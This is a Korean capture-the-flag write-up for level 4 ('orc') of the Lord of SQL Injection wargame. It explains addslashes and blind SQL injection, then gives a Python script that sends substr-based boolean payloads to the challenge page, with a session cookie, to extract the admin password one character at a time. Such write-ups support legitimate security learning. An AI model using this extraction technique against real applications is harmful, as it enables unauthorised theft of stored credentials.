본문 바로가기

Write-Up/LOS (lord of sql injection)

[Lord of SQL Injection] 4번 orc

$_GET[pw] = addslashes($_GET[pw]); 

addslashes 라는 함수를 먼저 알 필요가 있었다.

addslashes : 만일 문자열에 작은따옴표('), 큰따옴표("), 백슬래시(\), NULL 문자(%00)가 포함되어 있다면, 이 문자들 앞에 백슬래시(\)를 붙여 특수 문자가 순수한 하나의 문자로 인식되도록 해준다.

 

id는 admin으로 고정되어있고 pw만 값을 받는다. php코드를 보면 pw값을 정확히 맞춰야지만 문제가 풀릴거 같다.

blind sql injection을 이용하여 문제를 풀어야 할것 같다.

 

쿼리가 참이기만 해도 hello admin을 출력하기 때문에 pw에 참인 쿼리를 한번 넣어주겠다.

hello admin이 나오는것을 확인 할 수 있다.

여기서 blind sql injection을 활용하기 위하여 먼저 pw 길이를 알아야하는데 length함수가 필터링 되지 않았기 때문에

length를 이용해 패스워드 길이를 유추패보겠다,

length가 8일때 hello admin이 나와 pw길이는 8이라는 것을 알 수 있다.

ascii(substr(pw,1,1) < 50 이런 쿼리를 이용하여 하나씩 총 8개를 찾을수 있지만 너무 시간이 오래 걸리기에 파이썬 코드를 활용하겠다.

 

import requests
 
cookies= {'PHPSESSID':'7a4pokemhooffbduohsbglc420'}
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
pw = ''
for i in range(1,9):
    for j in range(33,127):
        payload = "pw=' or substr(pw,1,"+str(i)+")='"+pw+chr(j)+"#"
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Hello admin" in res.text :
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

결과